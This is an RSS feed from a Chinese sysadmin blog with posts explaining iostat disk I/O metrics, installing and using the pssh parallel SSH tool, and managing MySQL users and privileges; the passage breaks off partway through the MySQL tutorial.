<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title><![CDATA[灰太狼的blog]]></title> 
<link>http://www.yy520.net/index.php</link> 
<description><![CDATA[山不在高，有仙则名。水不在深，有龙则灵。斯是陋室，惟吾德馨。]]></description> 
<language>zh-cn</language> 
<copyright><![CDATA[灰太狼的blog]]></copyright>
<item>
<link>http://www.yy520.net/articles/296/</link>
<title><![CDATA[iostat来对linux硬盘IO性能进行了解]]></title> 
<author>zzh &lt;zzhcool@126.com&gt;</author>
<category><![CDATA[系统管理]]></category>
<pubDate>Fri, 03 Feb 2012 07:31:25 +0000</pubDate> 
<guid>http://www.yy520.net/articles/296/</guid> 
<description>
<![CDATA[ 
	<p>以前一直不太会用这个参数.现在认真研究了一下iostat,因为刚好有台重要的服务器压力高,所以放上来分析一下.下面这台就是IO有压力过大的服务器</p><p>&nbsp;</p><div><div id="highlighter_923735" class="syntaxhighlighter .syntaxhighlighter &#123;&nbsp;&nbsp;&nbsp;&nbsp; background-color: 999999 &#125; bash ie"><div class="toolbar"><span><a class="toolbar_item command_help help" href="http://www.php-oa.com/2009/02/03/iostat.html#">?</a></span></div><table border="0" cellspacing="0" cellpadding="0">&nbsp;&nbsp;&nbsp;&nbsp;<tbody>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<tr>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<td class="gutter">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<div class="line number1 index0 alt2">1</div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<div class="line number2 index1 alt1">2</div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<div class="line number3 index2 alt2">3</div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<div class="line number4 index3 alt1">4</div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<div class="line number5 index4 alt2">5</div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<div class="line number6 index5 alt1">6</div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<div class="line number7 index6 alt2">7</div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<div class="line number8 index7 alt1">8</div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<td class="code">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<div class="container">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<div class="line number1 index0 alt2"><code class="bash plain">$iostat -x 1 </code></div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<div class="line number2 index1 alt1"><code class="bash plain">Linux 2.6.33-fukai (fukai-laptop) _i686_ (2 CPU) </code></div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<div class="line number3 index2 alt2"><code class="bash plain">avg-cpu: %user %</code><code class="bash functions">nice</code> <code class="bash plain">%system %iowait %steal %idle </code></div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<div class="line number4 index3 alt1"><code class="bash plain">5.47 0.50 8.96 48.26 0.00 36.82 </code></div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<div class="line number5 index4 alt2">&nbsp;</div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<div class="line number6 index5 alt1"><code class="bash plain">Device: rrqm</code><code class="bash plain">/s</code> <code class="bash plain">wrqm</code><code class="bash plain">/s</code> <code class="bash plain">r</code><code class="bash plain">/s</code> <code class="bash plain">w</code><code class="bash plain">/s</code> <code class="bash plain">rsec</code><code class="bash plain">/s</code> <code class="bash plain">wsec</code><code class="bash plain">/s</code> <code class="bash plain">avgrq-sz avgqu-sz await svctm %util </code></div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<div class="line number7 index6 alt2"><code class="bash plain">sda 6.00 273.00 99.00 7.00 2240.00 2240.00 42.26 1.12 10.57 7.96 84.40 </code></div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<div class="line number8 index7 alt1"><code class="bash plain">sdb 0.00 4.00 0.00 350.00 0.00 2068.00 5.91 0.55 1.58 0.54 18.80</code></div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</tr>&nbsp;&nbsp;&nbsp;&nbsp;</tbody></table></div></div><p><strong>rrqm/s:</strong> 每秒进行 merge 的读操作数目.即 delta(rmerge)/s<br /><strong>wrqm/s:</strong> 每秒进行 merge 的写操作数目.即 delta(wmerge)/s<br /><strong>r/s:</strong> 每秒完成的读 I/O 设备次数.即 delta(rio)/s<br /><strong>w/s:</strong> 每秒完成的写 I/O 设备次数.即 delta(wio)/s<br /><strong>rsec/s:</strong> 每秒读扇区数.即 delta(rsect)/s<br /><strong>wsec/s: </strong>每秒写扇区数.即 delta(wsect)/s<br /><strong>rkB/s: </strong>每秒读K字节数.是 rsect/s 的一半,因为每扇区大小为512字节.(需要计算)<br /><strong>wkB/s:</strong> 每秒写K字节数.是 wsect/s 的一半.(需要计算)<br /><strong>avgrq-sz: </strong>平均每次设备I/O操作的数据大小 (扇区).delta(rsect+wsect)/delta(rio+wio)<br /><strong>avgqu-sz:</strong> 平均I/O队列长度.即 delta(aveq)/s/1000 (因为aveq的单位为毫秒).<br /><strong>await:</strong> 平均每次设备I/O操作的等待时间 (毫秒).即 delta(ruse+wuse)/delta(rio+wio)<br /><strong>svctm: </strong>平均每次设备I/O操作的服务时间 (毫秒).即 delta(use)/delta(rio+wio)<br /><strong>%util: </strong>一秒中有百分之多少的时间用于 I/O 操作,或者说一秒中有多少时间 I/O 队列是非空的.即 delta(use)/s/1000 (因为use的单位为毫秒)</p><p><strong>如果 %util 接近 100%,说明产生的I/O请求太多,I/O系统已经满负荷,该磁盘<br />可能存在瓶颈.<br />idle小于70% IO压力就较大了,一般读取速度有较多的wait.</strong><br /><strong>同时可以结合vmstat 查看查看b参数(<font size="2" face="verdana, arial, helvetica">等待资源的进程数</font>)和wa参数(<font size="2" face="verdana, arial, helvetica">IO等待所占用的CPU时间的百分比,高过30%时IO压力高</font>)</strong><br /><strong>另外 await 的参数也要多和 svctm 来参考.差的过高就一定有 IO 的问题.<br />avgqu-sz 也是个做 IO 调优时需要注意的地方,这个就是直接每次操作的数据的大小,如果次数多,但数据拿的小的话,其实 IO 也会很小.如果数据拿的大,才IO 的数据会高.也可以通过 avgqu-sz &times; ( r/s or w/s ) = rsec/s or wsec/s.也就是讲,读定速度是这个来决定的.</strong></p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p><strong>另外还可以参考</strong><br />svctm 一般要小于 await (因为同时等待的请求的等待时间被重复计算了),svctm 的大小一般和磁盘性能有关,CPU/内存的负荷也会对其有影响,请求过多也会间接导致 svctm 的增加.await 的大小一般取决于服务时间(svctm) 以及 I/O 队列的长度和 I/O 请求的发出模式.如果 svctm 比较接近 await,说明 I/O 几乎没有等待时间；如果 await 远大于 svctm,说明 I/O 队列太长,应用得到的响应时间变慢,如果响应时间超过了用户可以容许的范围,这时可以考虑更换更快的磁盘,调整内核 elevator 算法,优化应用,或者升级 CPU.<br />队列长度(avgqu-sz)也可作为衡量系统 I/O 负荷的指标,但由于 avgqu-sz 是按照单位时间的平均值,所以不能反映瞬间的 I/O 洪水.</p><p><strong><br />别人一个不错的例子.(I/O 系统 vs. 超市排队)</strong></p><p>举一个例子,我们在超市排队 checkout 时,怎么决定该去哪个交款台呢? 首当是看排的队人数,5个人总比20人要快吧? 除了数人头,我们也常常看看前面人购买的东西多少,如果前面有个采购了一星期食品的大妈,那么可以考虑换个队排了.还有就是收银员的速度了,如果碰上了连 钱都点不清楚的新手,那就有的等了.另外,时机也很重要,可能 5 分钟前还人满为患的收款台,现在已是人去楼空,这时候交款可是很爽啊,当然,前提是那过去的 5 分钟里所做的事情比排队要有意义 (不过我还没发现什么事情比排队还无聊的).</p><p>I/O 系统也和超市排队有很多类似之处:</p><p>r/s+w/s 类似于交款人的总数<br />平均队列长度(avgqu-sz)类似于单位时间里平均排队人的个数<br />平均服务时间(svctm)类似于收银员的收款速度<br />平均等待时间(await)类似于平均每人的等待时间<br />平均I/O数据(avgrq-sz)类似于平均每人所买的东西多少<br />I/O 操作率 (%util)类似于收款台前有人排队的时间比例.</p><p>我们可以根据这些数据分析出 I/O 请求的模式,以及 I/O 的速度和响应时间.</p><p><strong>下面是别人写的这个参数输出的分析</strong></p><div><div id="highlighter_191769" class="syntaxhighlighter .syntaxhighlighter &#123;&nbsp;&nbsp;&nbsp;&nbsp; background-color: 999999 &#125; bash ie"><div class="toolbar"><span><a class="toolbar_item command_help help" href="http://www.php-oa.com/2009/02/03/iostat.html#">?</a></span></div><table border="0" cellspacing="0" cellpadding="0">&nbsp;&nbsp;&nbsp;&nbsp;<tbody>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<tr>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<td class="gutter">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<div class="line number1 index0 alt2">1</div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<div class="line number2 index1 alt1">2</div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<div class="line number3 index2 alt2">3</div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<div class="line number4 index3 alt1">4</div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<div class="line number5 index4 alt2">5</div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<div class="line number6 index5 alt1">6</div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<td class="code">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<div class="container">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<div class="line number1 index0 alt2"><code class="bash comments"># iostat -x 1 </code></div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<div class="line number2 index1 alt1"><code class="bash plain">avg-cpu: %user %</code><code class="bash functions">nice</code> <code class="bash plain">%sys %idle </code></div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<div class="line number3 index2 alt2"><code class="bash plain">16.24 0.00 4.31 79.44 </code></div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<div class="line number4 index3 alt1"><code class="bash plain">Device: rrqm</code><code class="bash plain">/s</code> <code class="bash plain">wrqm</code><code class="bash plain">/s</code> <code class="bash plain">r</code><code class="bash plain">/s</code> <code class="bash plain">w</code><code class="bash plain">/s</code> <code class="bash plain">rsec</code><code class="bash plain">/s</code> <code class="bash plain">wsec</code><code class="bash plain">/s</code> <code class="bash plain">rkB</code><code class="bash plain">/s</code> <code class="bash plain">wkB</code><code class="bash plain">/s</code> <code class="bash plain">avgrq-sz avgqu-sz await svctm %util </code></div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<div class="line number5 index4 alt2"><code class="bash plain">/dev/cciss/c0d0</code></div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<div class="line number6 index5 alt1"><code class="bash plain">0.00 44.90 1.02 27.55 8.16 579.59 4.08 289.80 20.57 22.35 78.21 5.00 14.29</code></div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</tr>&nbsp;&nbsp;&nbsp;&nbsp;</tbody></table></div></div><p>上面的 iostat 输出表明秒有 28.57 次设备 I/O 操作: 总IO(io)/s = r/s(读) +w/s(写) = 1.02+27.55 = 28.57 (次/秒) 其中写操作占了主体 (w:r = 27:1).</p><p>平均每次设备 I/O 操作只需要 5ms 就可以完成,但每个 I/O 请求却需要等上 78ms,为什么? 因为发出的 I/O 请求太多 (每秒钟约 29 个),假设这些请求是同时发出的,那么平均等待时间可以这样计算:</p><p>平均等待时间 = 单个 I/O 服务时间 * ( 1 + 2 + &hellip; + 请求总数-1) / 请求总数</p><p>应用到上面的例子: 平均等待时间 = 5ms * (1+2+&hellip;+28)/29 = 70ms,和 iostat 给出的78ms 的平均等待时间很接近.这反过来表明 I/O 是同时发起的.</p><p>每秒发出的 I/O 请求很多 (约 29 个),平均队列却不长 (只有 2 个 左右),这表明这 29 个请求的到来并不均匀,大部分时间 I/O 是空闲的.</p><p>一秒中有 14.29% 的时间 I/O 队列中是有请求的,也就是说,85.71% 的时间里 I/O 系统无事可做,所有 29 个 I/O 请求都在142毫秒之内处理掉了.</p><p>delta(ruse+wuse)/delta(io) = await = 78.21 =&gt; delta(ruse+wuse)/s =78.21 * delta(io)/s = 78.21*28.57 = 2232.8,表明每秒内的I/O请求总共需要等待2232.8ms.所以平均队列长度应为 2232.8ms/1000ms = 2.23,而 iostat 给出的平均队列长度 (avgqu-sz) 却为 22.35,为什么?! 因为 iostat 中有 bug,avgqu-sz 值应为 2.23,而不是 22.35.</p><!--[syntaxhighlighter]--><!--代码高亮，请勿编辑--><!--[/syntaxhighlighter]--><!-- Start of add bookmark buttons created by wp_addbookmarks. Plugin by <a href="http://www.thinkagain.cn/" target="_blank">http://www.thinkagain.cn/</a> --><br/>Tags - <a href="http://www.yy520.net/tags/iostat/" rel="tag">iostat</a>
]]>
</description>
</item><item>
<link>http://www.yy520.net/articles/295/</link>
<title><![CDATA[批量管理服务器工具:pssh]]></title> 
<author>zzh &lt;zzhcool@126.com&gt;</author>
<category><![CDATA[系统管理]]></category>
<pubDate>Fri, 02 Sep 2011 14:02:06 +0000</pubDate> 
<guid>http://www.yy520.net/articles/295/</guid> 
<description>
<![CDATA[ 
	pssh是一个可以在多台服务器上执行命令的工具，同时支持拷贝文件，是同类工具中很出色的。使用是必须在各个服务器上配置好密钥认证访问。<br/><br/>pssh 包安装 5 个实用程序：<br/>pssh 在多个主机上并行地运行命令。<br/>pscp 把文件并行地复制到多个主机上。<br/>prsync 通过 rsync 协议把文件高效地并行复制到多个主机上。<br/>pslurp 把文件并行地从多个远程主机复制到中心主机上。<br/>pnuke 并行地在多个远程主机上杀死进程。<br/><br/>1.安装<br/><br/>wget <a href="http://parallel-ssh.googlecode.com/files/pssh-2.2.2.tar.gz" target="_blank">http://parallel-ssh.googlecode.com/files/pssh-2.2.2.tar.gz</a><br/>tar zxvf pssh-2.2.2.tar.gz<br/>cd pssh-2.2.2<br/>python setup.py install<br/><br/>2.简单使用<br/>在使用之前需要配置密钥访问，如下:<br/>#ssh-keygen #一直回车<br/>#ssh-copy-id -i .ssh/id_rsa.pub root@192.168.16.X #复制公钥到远端服务器<br/>ps.如果端口不是默认22 ，需要使用：ssh-copy-id -i .ssh/id_rsa.pub&nbsp;&nbsp;”-p 4567 yin@192.168.16.X”<br/>创建servers.txt文件:<br/>192.168.16.1<br/>192.168.16.2<br/>luby@192.168.16.3:4567<br/><br/>[root@orkaudiobackup ~]# pssh -h servers.txt -l root -P uptime<br/>192.168.16.X: 18:32:40 up 3 days, 7:07, 1 user, load average: 0.00, 0.00, 0.00<br/>[1] 18:36:27 [SUCCESS] 192.168.16.X<br/><br/><br/>Tags - <a href="http://www.yy520.net/tags/pssh/" rel="tag">pssh</a>
]]>
</description>
</item><item>
<link>http://www.yy520.net/articles/294/</link>
<title><![CDATA[MySQL - 用户及权限管理]]></title> 
<author>zzh &lt;zzhcool@126.com&gt;</author>
<category><![CDATA[MySQL管理]]></category>
<pubDate>Mon, 18 Jul 2011 03:10:47 +0000</pubDate> 
<guid>http://www.yy520.net/articles/294/</guid> 
<description>
<![CDATA[ 
	<p>可以用 CREATE USER 或 GRANT 创建用户，后者还同时分配相关权限。而 REVOKE 则用于删除用户权限，DROP USER 删除账户。<br />&nbsp;</p><pre class="code">$ mysql -u root -ppassword:mysql&gt; create database test; # 创建数据库Query OK, 1 row affected (0.00 sec)mysql&gt; show databases; # 查看数据库是否创建成功+--------------------+&#124; Database&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#124;+--------------------+&#124; information_schema &#124;&#124; mysql&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#124;&#124; test&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#124;+--------------------+3 rows in set (0.00 sec)mysql&gt; grant all on test.* to user1@'%' identified by '123456' with grant option; # 创建特权管理用户Query OK, 0 rows affected (0.00 sec)mysql&gt; select user,host from mysql.user; # 查看用户创建是否成功+------------------+-----------+&#124; user&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#124; host&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#124;+------------------+-----------+&#124; user1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#124; %&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#124;&#124; root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#124; 127.0.0.1 &#124;&#124; debian-sys-maint &#124; localhost &#124;&#124; root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#124; localhost &#124;&#124; root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#124; server&nbsp;&nbsp;&nbsp;&nbsp;&#124;+------------------+-----------+5 rows in set (0.00 sec)mysql&gt; show grants for user1; # 查看用户权限+--------------------------------------------------------------------------------------------------+&#124; Grants for user1@%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#124;+--------------------------------------------------------------------------------------------------+&#124; GRANT USAGE ON *.* TO 'user1'@'%' IDENTIFIED BY PASSWORD '*6BB...2CA2AD9'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#124;&#124; GRANT ALL PRIVILEGES ON `test`.* TO 'user1'@'%' WITH GRANT OPTION&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#124;+--------------------------------------------------------------------------------------------------+2 rows in set (0.00 sec)</pre><p><br />GRANT 语法:<br />&nbsp;</p><pre class="code">GRANT privileges (columns)&nbsp;&nbsp;&nbsp;&nbsp;ON what&nbsp;&nbsp;&nbsp;&nbsp;TO user IDENTIFIED BY &quot;password&quot;&nbsp;&nbsp;&nbsp;&nbsp;WITH GRANT OPTION</pre><p><br />权限列表:</p><ul class="ubb-list">&nbsp;&nbsp;&nbsp;&nbsp;<li>ALTER: 修改表和索引。</li>&nbsp;&nbsp;&nbsp;&nbsp;<li>CREATE: 创建数据库和表。</li>&nbsp;&nbsp;&nbsp;&nbsp;<li>DELETE: 删除表中已有的记录。</li>&nbsp;&nbsp;&nbsp;&nbsp;<li>DROP: 抛弃(删除)数据库和表。</li>&nbsp;&nbsp;&nbsp;&nbsp;<li>INDEX: 创建或抛弃索引。</li>&nbsp;&nbsp;&nbsp;&nbsp;<li>INSERT: 向表中插入新行。</li>&nbsp;&nbsp;&nbsp;&nbsp;<li>REFERENCE: 未用。</li>&nbsp;&nbsp;&nbsp;&nbsp;<li>SELECT: 检索表中的记录。</li>&nbsp;&nbsp;&nbsp;&nbsp;<li>UPDATE: 修改现存表记录。</li>&nbsp;&nbsp;&nbsp;&nbsp;<li>FILE: 读或写服务器上的文件。</li>&nbsp;&nbsp;&nbsp;&nbsp;<li>PROCESS: 查看服务器中执行的线程信息或杀死线程。</li>&nbsp;&nbsp;&nbsp;&nbsp;<li>RELOAD: 重载授权表或清空日志、主机缓存或表缓存。</li>&nbsp;&nbsp;&nbsp;&nbsp;<li>SHUTDOWN: 关闭服务器。</li>&nbsp;&nbsp;&nbsp;&nbsp;<li>ALL: 所有权限，ALL PRIVILEGES同义词。</li>&nbsp;&nbsp;&nbsp;&nbsp;<li>USAGE: 特殊的 &quot;无权限&quot; 权限。</li></ul><p>用户账户包括 &quot;username&quot; 和 &quot;host&quot; 两部分，后者表示该用户被允许从何地接入。user1@'%' 表示任何地址，默认可以省略。还可以是 &quot;user1@192.168.1.%&quot;、&quot;user1@%.abc.com&quot; 等。数据库格式为 db@table，可以是 &quot;test.*&quot; 或 &quot;*.*&quot;，前者表示 test 数据库的所有表，后者表示所有数据库的所有表。<br /><br />子句 &quot;WITH GRANT OPTION&quot; 表示该用户可以为其他用户分配权限。<br /><br />我们用 root 再创建几个用户，然后由 test 数据库的管理员 user1 为他们分配权限。<br />&nbsp;</p><pre class="code">mysql&gt; create user user2 identified by '123456', user3 identified by 'abcd';Query OK, 0 rows affected (0.00 sec)mysql&gt; select user, host from mysql.user;+------------------+-----------+&#124; user&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#124; host&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#124;+------------------+-----------+&#124; user1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#124; %&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#124;&#124; user2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#124; %&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#124;&#124; user3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#124; %&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#124;&#124; root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#124; 127.0.0.1 &#124;&#124; debian-sys-maint &#124; localhost &#124;&#124; root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#124; localhost &#124;&#124; root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#124; server&nbsp;&nbsp;&nbsp;&nbsp;&#124;+------------------+-----------+7 rows in set (0.00 sec)</pre><p><br />好了，我们退出改用 user1 登录并针对 test 数据库进行操作。<br />&nbsp;</p><pre class="code">mysql&gt; quit # 退出Bye$ mysql -u user1 -p123456 test # 使用新用户登录mysql&gt; select database(); # 确认当前工作数据库+------------+&#124; database() &#124;+------------+&#124; test&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#124;+------------+1 row in set (0.00 sec)mysql&gt; select current_user(); # 确认当前工作账户+----------------+&#124; current_user() &#124;+----------------+&#124; user1@%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#124;+----------------+1 row in set (0.00 sec)</pre><p><br />继续，创建一个数据表。<br />&nbsp;</p><pre class="code">mysql&gt; create table table1 # 创建表&nbsp;&nbsp;&nbsp;&nbsp;-&gt; (&nbsp;&nbsp;&nbsp;&nbsp;-&gt;&nbsp;&nbsp;&nbsp;&nbsp;name varchar(50),&nbsp;&nbsp;&nbsp;&nbsp;-&gt;&nbsp;&nbsp;&nbsp;&nbsp;age integer&nbsp;&nbsp;&nbsp;&nbsp;-&gt; );Query OK, 0 rows affected (0.02 sec)mysql&gt; show tables; # 查看表是否创建成功+----------------+&#124; Tables_in_test &#124;+----------------+&#124; table1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#124;+----------------+1 row in set (0.00 sec)mysql&gt; describe table1; # 查看表结构+-------+-------------+------+-----+---------+-------+&#124; Field &#124; Type&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#124; Null &#124; Key &#124; Default &#124; Extra &#124;+-------+-------------+------+-----+---------+-------+&#124; name&nbsp;&nbsp;&#124; varchar(50) &#124; YES&nbsp;&nbsp;&#124;&nbsp;&nbsp;&nbsp;&nbsp; &#124; NULL&nbsp;&nbsp;&nbsp;&nbsp;&#124;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#124;&#124; age&nbsp;&nbsp; &#124; int(11)&nbsp;&nbsp;&nbsp;&nbsp; &#124; 